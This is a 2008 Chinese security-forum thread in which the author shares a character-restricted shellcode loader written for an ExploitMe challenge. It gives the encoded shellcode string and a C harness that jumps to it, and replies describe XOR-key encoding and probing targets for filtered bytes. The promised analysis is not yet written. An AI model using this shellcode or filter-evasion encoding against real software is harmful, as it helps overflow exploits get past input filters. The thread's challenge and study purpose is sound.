首页
社区
课程
招聘
[原创]我写的Shellcode加载器分析
发表于: 2008-1-2 22:03 12448

[原创]我写的Shellcode加载器分析

2008-1-2 22:03
12448

我写的Shellcode加载器分析

背景:
在ExploitMe挑战赛的B题中,对溢出时的字符,有着严格的限制,而通用功能Shellcode基本上都不符合,其限定的字符集,为此而编写这段加载器代码。至于分析,已有多位牛人的贴子被置为精了,我用的方法其中也有说明,就没有必要拿出来献丑了。

下面我就以逆向的过程来分析我写的这段代码。希望新手能有所收获,高人能来点评。

刚刚发现在给提交的母板码中还有一点点小Bug(不会影响其实现原理和逆向分析时执行的效果),在此做了一点小小的修正,希望不会影响评分J。

代码:
声明:版本所有,仅作为学习之用,不对执行的后果负任何责任。若有好的意见和建议请直跟贴与我联系。
首先给出母板码(可以根据需要进行局部的调整),如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
char shellcode[]=
"jDX<3Tub00000000a~!<M~!!H~!]G~!!D~!4C~!CB~!lA~!1>~"
"!W>}!!5~!!3~!32~!A0}!!-~!p,~!k+~!#*~!!#~!N!w!$!o!`"
"!n!A~~]U^V,DP_WGjTX,DP[XP*$+C*$+C^VP34<XXP*$+C*$+C"
"(d.~NNNNu~X^PZPj8X,4PYjXX,PP[K4+XP~j,0~~~~Ku~K4*V_"
"XVPjP~~PZj$~~~hX$p<pu~ZXZZZhXP~APhAAAh~~"
;
 
int main(void)
{
 unsigned char MachineCode[1024]="";
 memcpy(MachineCode, shellcode, sizeof(shellcode));
 
 __asm {
        lea eax, MachineCode;
        mov esp, eax
        mov eax, 01234567H ;任意数
        jmp esp ; 模拟溢出时执行的指令
 }
 
 return EXIT_SUCCESS;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (10)
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
2
板凳,不知楼主到底想说明什么?
2008-1-2 23:15
0
雪    币: 1946
活跃值: (248)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
3
是想说明如何战胜过滤器
2008-1-2 23:40
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
阉割贴啊,非常不满
2008-1-3 09:02
0
雪    币: 211
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
楼主,下面呢?
2008-1-3 10:00
0
雪    币: 10749
活跃值: (3262)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
6
shellcode 编码 常见的就是xor 乘法 除法 等方法
有本老外的书介绍的非常非常详细,就是想不起来书名了

你可以用其中一种方法 在shellcode 前加几条指令起到编解码作用,用程序判断编码后的shellcode
是否有过滤的字符,有就再换下一个key 试
如果全部符合了,就把shellcode用这个key编码
然后在shellcode前加上解码指令 就可以那去用了.

通常你可以用0x1-0xffff中所有的字符构成一个串 拿到目标程序去测试 看看程序遇到哪个字符会把串中断,遇到哪个会把字符转换,这样就可以找出程序过滤哪些字符.
2008-1-3 12:48
0
雪    币: 105
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
7
抱歉还没有写完。


争取这两天写完。
2008-1-3 18:20
0
雪    币: 105
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
8
谢谢关注。
我不知道我的这种方法好不好,但在原理上可能会有所差异。
如果想起了那本书,请一定告诉我。
2008-1-3 18:23
0
雪    币: 2
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
9
下下来慢慢看。。。看着头晕
2008-1-10 11:10
0
雪    币: 250
活跃值: (103)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
期待下文中......
2008-1-18 13:20
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
11
dEP啊DEp啊~
hook了int 2e的强大自己实现的dep~

o(∩_∩)o...
2008-1-18 13:44
0
游客
登录 | 注册 方可回帖
返回
//